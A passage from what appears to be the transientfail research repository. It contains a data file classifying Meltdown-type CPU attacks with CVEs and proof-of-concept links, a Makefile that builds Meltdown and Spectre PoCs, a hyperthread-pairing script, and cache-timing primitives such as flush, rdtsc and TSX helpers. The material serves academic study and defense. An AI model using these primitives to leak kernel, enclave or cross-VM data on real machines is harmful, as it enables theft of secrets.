"https://nvd.nist.gov/vuln/detail/CVE-2017-5754" }], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/software-guidance/rogue-data-cache-load" }, { title: "ARM", url: "https://developer.arm.com/support/arm-security-updates/speculative-processor-vulnerability" }, { title: "IBM", url: "https://www.ibm.com/blogs/psirt/potential-impact-processors-power-family/" }, ], color: color.works }, { id: 43, title: "Meltdown-US-LFB", alias: "ZombieLoad v1", img: "zombieload.svg", father: 16, description: "ZombieLoad uses various architectural and microarchitectural faults to leak data from the fill buffers. In contrast to Meltdown-US-L1, only the least-significant 6 bits of the virtual address can be used to address the data, thus giving less control over which data is leaked. However, this allows ZombieLoad to cross all privilege boundaries (user-to-user, kernel, Intel SGX, VM-to-VM, VM-to-hypervisor).", sources: [ sources["Schwarz2019"], sources["VanSchaik2019"], sources["IntelMDS"], ], names: [ { title: "ZombieLoad", url: "https://zombieloadattack.com/" }, { title: "Microarchitectural Fill Buffer Data Sampling (MFBDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, { title: "Microarchitectural Data Sampling (MDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, ], poc: [{ title: "https://github.com/IAIK/ZombieLoad", url: "https://github.com/IAIK/ZombieLoad/tree/master/attacker/variant1_linux" }], cve: [{ title: "CVE-2018-12130", url: "https://nvd.nist.gov/vuln/detail/CVE-2018-12130" }], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling" }, ], color: color.works }, { id: 44, title: "Meltdown-US-SB", alias: "Fallout", img: "mds.svg", father: 16, description: "Fallout exploits the fact that faulting loads can pick up previously stored values from the store buffer if the least-significant 12 bits of the virtual address match.", sources: [ sources["Canella2019"], sources["IntelMDS"], ], names: [ { title: "Fallout", url: "https://mdsattacks.com/" }, { title: "Microarchitectural Store Buffer Data Sampling (MSBDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, { title: "Microarchitectural Data Sampling (MDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, ], cve: [{ title: "CVE-2018-12126", url: "https://nvd.nist.gov/vuln/detail/CVE-2018-12126" }], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling" }, ], color: color.works }, { id: 45, title: "Meltdown-US-LP", father: 16, description: "Intel explains that faulting loads which span a 64-byte cacheline boundary may leak data from the processor's load ports.", todo: "We encourage experimentation to confirm the possibility of reading CPU load port data through U/S exceptions.", sources: [ sources["IntelMDS"], ], names: [ { title: "Microarchitectural Load Port Data Sampling (MLPDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, { title: "Microarchitectural Data Sampling (MDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, ], cve: [{ title: "CVE-2018-12127", url: "https://nvd.nist.gov/vuln/detail/CVE-2018-12127" }], color: color.todo }, { id: 46, title: "Meltdown-P-L1", alias: "Foreshadow", img: "foreshadow.svg", father: 17, description: "Meltdown-P-L1 exploits an “L1 Terminal Fault” (L1TF) microarchitectural condition when accessing unmapped pages. A terminal page fault occurs when accessing a page-table entry with either the “present” bit cleared or a “reserved” bit set. In such cases, the CPU immediately aborts address translation. However, since the L1 data cache is indexed in parallel to address translation, the page table entry’s physical address field (i.e., frame number) may still be passed to the L1 cache. Any data present in L1 and tagged with that physical address will now be forwarded to the transient execution, regardless of access permissions.

Foreshadow was initially demonstrated against Intel SGX technology, and a generalized form of the attack allows an attacker to bypass operating system or hypervisor isolation. This variation allows an untrusted virtual machine, controlling guest-physical addresses, to extract the host machine’s entire L1 data cache (including data belonging to the hypervisor or other virtual machines). The underlying problem is that a terminal fault in the guest page-tables early-outs the address translation process, such that guest-physical addresses are erroneously passed to the L1 data cache, without first being translated into a proper host physical address.

", sources: [ sources["VanBulck2018"], sources["Weisse2018"], sources["Canella2018"] ], poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/P" }, { title: "https://github.com/jovanbulck/sgx-step/", url: "https://github.com/jovanbulck/sgx-step/tree/master/app/foreshadow" } ], names: [ { title: "Foreshadow, Foreshadow-NG", url: "https://foreshadowattack.eu/" }, { title: "L1 Terminal Fault (L1TF)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-l1-terminal-fault", } ], cve: [{ title: "CVE-2018-3615", url: "https://nvd.nist.gov/vuln/detail/CVE-2018-3615" }, { title: "CVE-2018-3620", url: "https://nvd.nist.gov/vuln/detail/CVE-2018-3620" }, { title: "CVE-2018-3646", url: "https://nvd.nist.gov/vuln/detail/CVE-2018-3646" } ], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/software-guidance/l1-terminal-fault" }, { title: "IBM", url: "https://www.ibm.com/blogs/psirt/potential-impact-processors-power-family/" }, ], color: color.works }, { id: 47, title: "Meltdown-P-LFB", alias: "RIDL", img: "mds.svg", father: 17, description: "RIDL leaks in-flight data from the line-fill buffer (LFB) by exploiting faulting loads on non-present addresses. If the least-significant 6 bits of the non-present virtual address match a virtual address of data currently stored in the LFB, then this data can be leaked. Any data travelling between the L1 cache and the remaining memory subsystem has to go through the LFB and can be leaked with RIDL.", sources: [ sources["VanSchaik2019"], sources["Schwarz2019"], sources["IntelMDS"], ], names: [ { title: "Rogue In-flight Data Load (RIDL)", url: "https://mdsattacks.com/" }, { title: "Microarchitectural Fill Buffer Data Sampling (MFBDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, { title: "Microarchitectural Data Sampling (MDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, ], cve: [{ title: "CVE-2018-12130", url: "https://nvd.nist.gov/vuln/detail/CVE-2018-12130" }], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling" }, ], poc: [{ title: "https://github.com/vusec/ridl", url: "https://github.com/vusec/ridl", }], color: color.works }, { id: 48, title: "Meltdown-P-SB", alias: "Fallout", img: "mds.svg", father: 17, description: "Fallout exploits the fact that faulting loads due to a non-present page fault can pick up previously stored values from the store buffer if the least-significant 12 bits of the virtual addresses match.", sources: [ sources["Canella2019"], sources["IntelMDS"], ], names: [ { title: "Fallout", url: "https://mdsattacks.com/" }, { title: "Microarchitectural Store Buffer Data Sampling (MSBDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, { title: "Microarchitectural Data Sampling (MDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, ], cve: [{ title: "CVE-2018-12126", url: "https://nvd.nist.gov/vuln/detail/CVE-2018-12126" }], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling" }, ], color: color.works }, { id: 49, title: "Meltdown-P-LP", alias: "RIDL", img: "mds.svg", father: 17, description: "Intel, the RIDL paper, and Brandon Falk describe that faulting loads which span a 64-byte cacheline boundary may leak data from the processor's load ports.", sources: [ sources["Falk2019"], sources["VanSchaik2019"], sources["IntelMDS"], ], names: [ { title: "Rogue In-flight Data Load (RIDL)", url: "https://mdsattacks.com/" }, { title: "Microarchitectural Load Port Data Sampling (MLPDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, { title: "Microarchitectural Data Sampling (MDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, ], cve: [{ title: "CVE-2018-12127", url: "https://nvd.nist.gov/vuln/detail/CVE-2018-12127" }], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling" }, ], poc: [{ title: "https://github.com/vusec/ridl", url: "https://github.com/vusec/ridl", }], color: color.works }, { id: 50, title: "Meltdown-CPL-REG", alias: "v3a", father: 15, description: "Meltdown-CPL-REG allows an attacker to read privileged system registers. It was first discovered and published by ARM and subsequently Intel determined that their CPUs are also susceptible to the attack. Accessing privileged system registers (e.g., via rdmsr) raises a general protection fault (#GP) when the current privilege level (CPL) is not zero. Similarly to previous Meltdown-type attacks, however, the attack exploits the fact that the transient execution following the faulting instruction can still compute on the unauthorized data, and leak the system register contents through a microarchitectural covert channel.", sources: [ sources["ARM2018"], sources["Intel2018"], sources["Canella2018"] ], poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/GP" }], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/software-guidance/rogue-system-register-read" }, { title: "ARM", url: "https://developer.arm.com/support/arm-security-updates/speculative-processor-vulnerability" } ], names: [ { title: "Variant 3a", }, { title: "Rogue System Register Read (RSRR)", url: "https://software.intel.com/security-software-guidance/api-app/sites/default/files/336983-Intel-Analysis-of-Speculative-Execution-Side-Channels-White-Paper.pdf" } ], cve: [{ title: "CVE-2018-3640", url: "https://nvd.nist.gov/vuln/detail/CVE-2018-3640" }], color: color.works }, { id: 51, title: "Meltdown-NC-SB", alias: "Fallout", img: "mds.svg", father: 15, description: "Meltdown-NC-SB abuses #GP exceptions from non-canonical addresses to read data from the store buffer.", todo: "We encourage investigation of using non-canonical loads to leak data from other buffers.", sources: [ sources["Canella2019"], sources["IntelMDS"], ], names: [ { title: "Fallout", url: "https://mdsattacks.com/" }, { title: "Microarchitectural Store Buffer Data Sampling (MSBDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, { title: "Microarchitectural Data Sampling (MDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, ], cve: [{ title: "CVE-2018-12126", url: "https://nvd.nist.gov/vuln/detail/CVE-2018-12126" }], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling" }, ], color: color.works }, { id: 59, title: "Meltdown-AVX", father: 15, description: "Meltdown-AVX abuses #GP exceptions caused by misaligned AVX vector load instructions. According to Intel, faulting or assisting vector SSE/AVX loads that are more than 64 bits in size may leak data.", color: color.works, sources: [ sources["IntelMDS"], sources["Canella2019"], sources["RIDLAddendum1"], ], color: color.group }, { id: 65, title: "Meltdown-AVX-SB", alias: "Fallout", img: "mds.svg", father: 59, description: "Meltdown-AVX-SB abuses #GP exceptions caused by misaligned AVX load instructions to read data from the store buffer.", sources: [ sources["Canella2019"], ], names: [ { title: "Fallout", url: "https://mdsattacks.com/" }, { title: "Microarchitectural Store Buffer Data Sampling (MSBDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, { title: "Microarchitectural Data Sampling (MDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, ], cve: [{ title: "CVE-2018-12126", url: "https://nvd.nist.gov/vuln/detail/CVE-2018-12126" }], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling" }, ], color: color.works }, { id: 66, title: "Meltdown-AVX-LP", alias: "RIDL", img: "mds.svg", father: 59, description: "Meltdown-AVX-LP abuses #GP exceptions caused by misaligned AVX load instructions to read data from the load ports.", sources: [ sources["RIDLAddendum1"], sources["Falk2019"], sources["IntelMDS"], ], names: [ { title: "Rogue In-flight Data Load (RIDL) Addendum", url: "https://mdsattacks.com/" }, { title: "Microarchitectural Load Port Data Sampling (MLPDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, { title: "Microarchitectural Data Sampling (MDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, ], cve: [{ title: "CVE-2018-12127", url: "https://nvd.nist.gov/vuln/detail/CVE-2018-12127" }], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling" }, ], poc: [{ title: "https://github.com/vusec/ridl", url: "https://github.com/vusec/ridl", }], color: color.works }, { id: 52, title: "Meltdown-MCA", text_bottom: "fault/assist type", father: 3, description: "To support more complex instructions, microcode enables higher-level instructions to be implemented using multiple hardware-level instructions. This allows processor vendors to support complex behavior and even extend or modify CPU behavior through microcode updates. While the execution units perform the fast-paths directly in hardware, more complex slow-path operations, such as faults or page-table modifications, are typically performed by issuing a microcode assist which points the sequencer to a predefined microcode routine. This microcode assist triggers a machine clear, which flushes the pipeline. On a pipeline flush, instructions which are already in flight still finish execution, which can leak, producing a Meltdown effect.

Microcode assists can be caused by a variety of conditions, and have been abused to leak data from a range of buffers. Our extensible classification therefore splits Meltdown-MCA further based on the specific microcode assist and targeted microarchitectural buffer.", todo: "We encourage exploration of other microcode assist triggers.", sources: [ sources["Schwarz2019"], sources["Canella2019"], sources["IntelMDS"], ], color: color.group }, { id: 53, title: "Meltdown-AD", img: "pte-ad.svg", father: 52, description: "If a page-table walk requires an update to the accessed or dirty bits in one of the corresponding page-table entries, it falls back to a microcode assist. Such microcode-assisted page table walks have been abused to extract data from different buffers. We therefore categorize Meltdown-AD further by the leakage source.", sources: [ sources["Schwarz2019"], sources["Canella2019"], sources["IntelMDS"], ], color: color.group }, { id: 54, title: "Meltdown-AD-L1", father: 53, description: "Attackers might attempt to abuse A/D microcode assists to read cached L1 data, but we have not experimentally confirmed that this is possible.", todo: "We encourage investigation of reading L1-cached data through A/D microcode assists.", color: color.todo }, { id: 55, title: "Meltdown-AD-LFB", alias: "ZombieLoad v3", img: "zombieload.svg", father: 53, description: "ZombieLoad uses various architectural and microarchitectural faults to leak data from the fill buffers. In contrast to Meltdown-US-L1, only the least-significant 6 bits of the virtual address can be used to address the data, thus giving less control over which data is leaked. However, this allows ZombieLoad to cross all privilege boundaries (user-to-user, kernel, Intel SGX, VM-to-VM, VM-to-hypervisor). In this variant, the exploited fault is the microcode assist required for setting the accessed or dirty bit in a page-table entry.", sources: [ sources["Schwarz2019"], ], poc: [{ title: "https://github.com/IAIK/ZombieLoad", url: "https://github.com/IAIK/ZombieLoad/tree/master/attacker/variant2_windows" }], names: [ { title: "ZombieLoad", url: "https://zombieloadattack.com/" }, { title: "Microarchitectural Fill Buffer Data Sampling (MFBDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, { title: "Microarchitectural Data Sampling (MDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, ], cve: [{ title: "CVE-2018-12130", url: "https://nvd.nist.gov/vuln/detail/CVE-2018-12130" }], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling" }, ], color: color.works }, { id: 56, title: "Meltdown-AD-SB", alias: "Fallout", img: "mds.svg", father: 53, description: "Fallout exploits the fact that faulting loads can pick up previously stored values from the store buffer if the least-significant 12 bits of the virtual address match. This variant exploits the fact that setting the accessed or dirty bit in the page-table entry leads to a microarchitectural fault in the form of a microcode assist.", sources: [ sources["Canella2019"] ], names: [ { title: "Fallout", url: "https://mdsattacks.com/" }, { title: "Microarchitectural Store Buffer Data Sampling (MSBDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, { title: "Microarchitectural Data Sampling (MDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, ], cve: [{ title: "CVE-2018-12126", url: "https://nvd.nist.gov/vuln/detail/CVE-2018-12126" }], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling" }, ], color: color.works }, { id: 57, title: "Meltdown-AD-LP", father: 53, description: "Attackers might attempt to abuse A/D microcode assists to read CPU load port data, but we have not experimentally confirmed that this is possible.", todo: "We encourage investigation of reading CPU load port data through A/D microcode assists.", sources: [ sources["IntelMDS"], ], names: [ { title: "Microarchitectural Load Port Data Sampling (MLPDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, { title: "Microarchitectural Data Sampling (MDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, ], cve: [{ title: "CVE-2018-12127", url: "https://nvd.nist.gov/vuln/detail/CVE-2018-12127" }], color: color.todo }, { id: 60, title: "Meltdown-TAA", father: 52, description: "Attackers might attempt to abuse TSX asynchronous aborts (TAA) to leak CPU data from the fill buffer, store buffer, and load ports.", alias: "ZombieLoad v2, RIDL", img: "zombieload.svg", sources: [ sources["Schwarz2019"], sources["RIDLAddendum1"], sources["IntelTAA"], ], names: [ { title: "TSX Asynchronous Aborts (TAA)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-transactional-synchronization-extensions-intel-tsx-asynchronous-abort" }, { title: "ZombieLoad v2", url: "https://zombieloadattack.com/" }, { title: "Rogue In-flight Data Load (RIDL) Addendum", url: "https://mdsattacks.com/" }, ], cve: [{ title: "CVE-2019-11135", url: "https://nvd.nist.gov/vuln/detail/CVE-2019-11135" }], color: color.group }, { id: 61, title: "Meltdown-TAA-LFB", father: 60, description: "Attackers might attempt to abuse TSX asynchronous aborts (TAA) to leak CPU data from the fill buffer.", alias: "ZombieLoad v2", img: "zombieload.svg", sources: [ sources["Schwarz2019"], sources["RIDLAddendum1"], ], names: [ { title: "TSX Asynchronous Aborts (TAA)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-transactional-synchronization-extensions-intel-tsx-asynchronous-abort" }, { title: "ZombieLoad v2", url: "https://zombieloadattack.com/" }, { title: "Rogue In-flight Data Load (RIDL) Addendum", url: "https://mdsattacks.com/" }, ], cve: [{ title: "CVE-2019-11135", url: "https://nvd.nist.gov/vuln/detail/CVE-2019-11135" }], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-transactional-synchronization-extensions-intel-tsx-asynchronous-abort" }, ], poc: [{ title: "https://github.com/IAIK/ZombieLoad", url: "https://github.com/IAIK/ZombieLoad/" }, { title: "https://github.com/vusec/ridl", url: "https://github.com/vusec/ridl", }], color: color.works }, { id: 62, title: "Meltdown-TAA-LP", father: 60, description: "Attackers might attempt to abuse TSX asynchronous aborts (TAA) to leak CPU data from the load port write back data bus.", alias: "ZombieLoad v2", img: "zombieload.svg", sources: [ sources["Schwarz2019"], sources["RIDLAddendum1"], sources["Falk2019"], sources["IntelMDS"], ], names: [ { title: "TSX Asynchronous Aborts (TAA)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-transactional-synchronization-extensions-intel-tsx-asynchronous-abort" }, { title: "ZombieLoad v2", url: "https://zombieloadattack.com/" }, { title: "Rogue In-flight Data Load (RIDL) Addendum", url: "https://mdsattacks.com/" }, ], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-transactional-synchronization-extensions-intel-tsx-asynchronous-abort" }, ], cve: [{ title: "CVE-2019-11135", url: "https://nvd.nist.gov/vuln/detail/CVE-2019-11135" }], poc: [{ title: "https://github.com/IAIK/ZombieLoad", url: "https://github.com/IAIK/ZombieLoad/" }, { title: "https://github.com/vusec/ridl", url: "https://github.com/vusec/ridl", }], color: color.works }, { id: 63, title: "Meltdown-TAA-SB", father: 60, description: "Attackers might attempt to abuse TSX asynchronous aborts (TAA) to leak CPU data from the store buffer.", alias: "ZombieLoad v2", img: "zombieload.svg", sources: [ sources["Schwarz2019"], sources["RIDLAddendum1"], ], names: [ { title: "TSX Asynchronous Aborts (TAA)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-transactional-synchronization-extensions-intel-tsx-asynchronous-abort" }, { title: "ZombieLoad v2", url: "https://zombieloadattack.com/" }, { title: "RIDL Addendum", url: "https://mdsattacks.com/files/ridl-addendum.pdf" } ], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-transactional-synchronization-extensions-intel-tsx-asynchronous-abort" }, ], poc: [{ title: "https://github.com/IAIK/ZombieLoad", url: "https://github.com/IAIK/ZombieLoad/" }, { title: "https://github.com/vusec/ridl", url: "https://github.com/vusec/ridl", }], cve: [{ title: "CVE-2019-11135", url: "https://nvd.nist.gov/vuln/detail/CVE-2019-11135" }], color: color.works }, { id: 72, title: "Meltdown-PRM-LFB", father: 52, alias: "ZombieLoad v4", img: "zombieload.svg", description: "SGX-enabled processors trigger a microcode assist whenever an address translation resolves into SGX's Processor Reserved Memory (PRM) area and the CPU is outside enclave mode. While this ensures that the load instruction always reads 0xff at the architectural level, we found however that unauthorized line-fill buffer entries accessed by the sibling logical core may still be transiently dereferenced before abort page semantics are applied.", todo: "We encourage investigation of using SGX processor-reserved memory to leak data from other buffers.", sources: [ sources["Schwarz2019"], ], names: [ { title: "ZombieLoad v4", url: "https://zombieloadattack.com/" }, { title: "Microarchitectural Fill Buffer Data Sampling (MFBDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, { title: "Microarchitectural Data Sampling (MDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, ], cve: [{ title: "CVE-2018-12130", url: "https://nvd.nist.gov/vuln/detail/CVE-2018-12130" }], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling" }, ], poc: [{ title: "https://github.com/IAIK/ZombieLoad/", url: "https://github.com/IAIK/ZombieLoad/tree/master/attacker/variant4_linux" }], color: color.works }, { id: 73, title: "Meltdown-UC-LFB", father: 52, alias: "ZombieLoad v5", img: "zombieload.svg", description: "The ZombieLoad paper includes a variant that uses a memory page which is marked as uncacheable. As the page-miss handler issues a microcode assist when page tables are in uncacheable memory, we can leak data from the line-fill buffer. Likewise, the original Meltdown paper includes an experiment to leak victim data which is marked as uncacheable.", todo: "We encourage investigation of using uncacheable memory pages to leak data from other buffers.", sources: [ sources["Schwarz2019"], sources["Lipp2018"], sources["IntelMDS"], ], names: [ { title: "ZombieLoad v5", url: "https://zombieloadattack.com/" }, { title: "Microarchitectural Data Sampling Uncacheable Memory (MDSUM)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, { title: "Microarchitectural Data Sampling (MDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, ], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, ], cve: [{ title: "CVE-2019-11091", url: "https://nvd.nist.gov/vuln/detail/CVE-2019-11091" }], color: color.works }, ]; var current_data = data; ================================================ FILE: pocs/Makefile ================================================ all: libcache/cacheutils.h libpte/libpte.a meltdown/US meltdown/P meltdown/RW meltdown/NM meltdown/GP meltdown/PK meltdown/DE meltdown/SS meltdown/UD meltdown/AC meltdown/BR spectre/pht/sa_ip spectre/pht/sa_oop spectre/pht/ca_ip spectre/pht/ca_oop spectre/btb/sa_ip spectre/btb/sa_oop spectre/btb/ca_ip spectre/rsb/sa_ip spectre/rsb/sa_oop spectre/rsb/ca_ip spectre/rsb/ca_oop spectre/stl libcache/cacheutils.h: libcache/cache.h libcache/cache.c cd libcache && make libpte/libpte.a: cd libpte && make meltdown/US: meltdown/US/main.c libpte/libpte.a libcache/cacheutils.h cd meltdown/US && make meltdown/P: meltdown/P/main.c libpte/libpte.a libcache/cacheutils.h cd meltdown/P && make meltdown/RW: meltdown/RW/main.c libpte/libpte.a libcache/cacheutils.h cd meltdown/RW && make meltdown/NM: meltdown/NM/main.c meltdown/NM/victim.c meltdown/NM/secret.h libcache/cacheutils.h cd meltdown/NM && make meltdown/GP: meltdown/GP/main.c meltdown/GP/module/kernel_module.c libcache/cacheutils.h cd meltdown/GP && make meltdown/PK: meltdown/PK/main.c libcache/cacheutils.h cd meltdown/PK && make meltdown/DE: meltdown/DE/main.c libcache/cacheutils.h cd meltdown/DE && make meltdown/SS: meltdown/SS/main.c libcache/cacheutils.h cd meltdown/SS && make meltdown/UD: meltdown/UD/main.c libcache/cacheutils.h cd meltdown/UD && make meltdown/AC: meltdown/AC/main.c libcache/cacheutils.h cd meltdown/AC && make meltdown/BR: meltdown/BR/main.c libcache/cacheutils.h cd meltdown/BR && make spectre/pht/sa_ip: spectre/PHT/sa_ip/main.c libcache/cacheutils.h cd spectre/PHT/sa_ip && make spectre/pht/sa_oop: spectre/PHT/sa_oop/main.c libcache/cacheutils.h cd spectre/PHT/sa_oop && make spectre/pht/ca_ip: spectre/PHT/ca_ip/main.c libcache/cacheutils.h cd spectre/PHT/ca_ip && make spectre/btb/sa_ip: spectre/BTB/sa_ip/main.cpp libcache/cacheutils.h cd spectre/BTB/sa_ip && make spectre/btb/sa_oop: spectre/BTB/sa_oop/main.c libcache/cacheutils.h cd spectre/BTB/sa_oop && make spectre/btb/ca_ip: spectre/BTB/ca_ip/main.cpp libcache/cacheutils.h cd spectre/BTB/ca_ip && make spectre/pht/ca_oop: spectre/PHT/ca_oop/main.c libcache/cacheutils.h cd spectre/PHT/ca_oop && make spectre/rsb/sa_ip: spectre/RSB/sa_ip/main.c libcache/cacheutils.h cd spectre/RSB/sa_ip && make spectre/rsb/sa_oop: spectre/RSB/sa_oop/main.c libcache/cacheutils.h cd spectre/RSB/sa_oop && make spectre/rsb/ca_ip: spectre/RSB/ca_ip/main.c libcache/cacheutils.h cd spectre/RSB/ca_ip && make spectre/rsb/ca_oop: spectre/RSB/ca_oop/main.c libcache/cacheutils.h cd spectre/RSB/ca_oop && make spectre/stl: spectre/STL/main.c libcache/cacheutils.h cd spectre/STL/ && make clean: cd libcache && make clean cd libpte && make clean cd meltdown/US && make clean cd meltdown/P && make clean cd meltdown/RW && make clean cd meltdown/NM && make clean cd meltdown/GP && make clean cd meltdown/PK && make clean cd meltdown/DE && make clean cd meltdown/SS && make clean cd meltdown/UD && make clean cd meltdown/AC && make clean cd meltdown/BR && make clean cd spectre/PHT/sa_ip && make clean cd spectre/PHT/sa_oop && make clean cd spectre/PHT/ca_ip && make clean cd spectre/PHT/ca_oop && make clean cd spectre/BTB/sa_ip && make clean cd spectre/BTB/sa_oop && make clean cd spectre/BTB/ca_ip && make clean cd spectre/RSB/sa_ip && make clean cd spectre/RSB/sa_oop && make clean cd spectre/RSB/ca_ip && make clean cd spectre/RSB/ca_oop && make clean cd spectre/STL/ && make clean ================================================ FILE: pocs/get_hyperthread_pair.sh ================================================ #!/bin/zsh setopt extendedglob cd /sys/devices/system/cpu/ for i in cpu[0-9]##; do package=`cat $i/topology/physical_package_id` core=`cat $i/topology/core_id` cpu_id="${i#cpu}" config="$package-$core" if (( ${+target_config} )); then if [[ $target_config == $config ]]; then echo "$first_cpu_id $cpu_id" break fi else target_config="$config" first_cpu_id="$cpu_id" fi done ================================================ FILE: pocs/libcache/Makefile ================================================ all: header header: cache.c cache.h cat cache.h cache.c | sed 's/#include ".*"//g' > cacheutils.h clean: rm -f cacheutils.h ================================================ FILE: pocs/libcache/cache.c ================================================ #include "cache.h" // --------------------------------------------------------------------------- void perf_init() { static struct perf_event_attr attr; attr.type = PERF_TYPE_HARDWARE; attr.config = PERF_COUNT_HW_CPU_CYCLES; attr.size = sizeof(attr); attr.exclude_kernel = 1; attr.exclude_hv = 1; attr.exclude_callchain_kernel = 1; perf_fd = syscall(__NR_perf_event_open, &attr, 0, -1, -1, 0); } #if defined(__x86_64__) // --------------------------------------------------------------------------- uint64_t rdtsc() { uint64_t a, d; asm volatile("mfence"); #if USE_RDTSCP asm volatile("rdtscp" : "=a"(a), "=d"(d) :: "rcx"); #else asm volatile("rdtsc" : "=a"(a), "=d"(d)); #endif a = (d << 32) | a; asm volatile("mfence"); return a; } // --------------------------------------------------------------------------- uint64_t rdtsc_begin() { uint64_t a, d; asm volatile ("mfence\n\t" "CPUID\n\t" "RDTSCP\n\t" "mov %%rdx, %0\n\t" "mov %%rax, %1\n\t" "mfence\n\t" : "=r" (d), "=r" (a) : : "%rax", "%rbx", "%rcx", "%rdx"); a = (d<<32) | a; return a; } // --------------------------------------------------------------------------- uint64_t rdtsc_end() { uint64_t a, d; asm volatile("mfence\n\t" "RDTSCP\n\t" "mov %%rdx, %0\n\t" "mov %%rax, %1\n\t" "CPUID\n\t" "mfence\n\t" : "=r" (d), "=r" (a) : : "%rax", "%rbx", "%rcx", "%rdx"); a = (d<<32) | a; return a; } // --------------------------------------------------------------------------- void flush(void *p) { asm volatile("clflush 0(%0)\n" : : "c"(p) : "rax"); } // --------------------------------------------------------------------------- void maccess(void *p) { asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax"); } // --------------------------------------------------------------------------- void mfence() { asm volatile("mfence"); } // --------------------------------------------------------------------------- void nospec() { asm volatile("lfence"); } // --------------------------------------------------------------------------- unsigned int xbegin() { unsigned status; asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00" : "=a"(status) : "a"(-1UL) : "memory"); return status; } // --------------------------------------------------------------------------- void xend() { asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory"); } // --------------------------------------------------------------------------- int has_tsx() { if (__get_cpuid_max(0, NULL) >= 7) { unsigned a, b, c, d; __cpuid_count(7, 0, a, b, c, d); return (b & (1 << 11)) ? 1 : 0; } else { return 0; } } // --------------------------------------------------------------------------- void maccess_tsx(void* ptr) { if (xbegin() == (~0u)) 